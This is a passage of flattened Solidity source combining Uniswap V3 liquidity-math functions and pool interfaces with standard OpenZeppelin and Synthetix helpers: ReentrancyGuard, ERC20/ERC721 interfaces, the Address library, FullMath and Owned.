getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma abicoder v2; import '../ERC721/IERC721.sol'; // Originally INonfungiblePositionManager interface IUniswapV3PositionsNFT is IERC721 { struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, // [0] address operator, // [1] address token0, // [2] address token1, // [3] uint24 fee, // [4] int24 tickLower, // [5] int24 tickUpper, // [6] uint128 liquidity, // [7] uint256 feeGrowthInside0LastX128, // [8] uint256 feeGrowthInside1LastX128, // [9] uint128 tokensOwed0, // [10] uint128 tokensOwed1 // [11] ); /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "../Math/SafeMath.sol"; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11 <0.9.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = (type(uint256).max - denominator + 1) & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../ERC165/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any 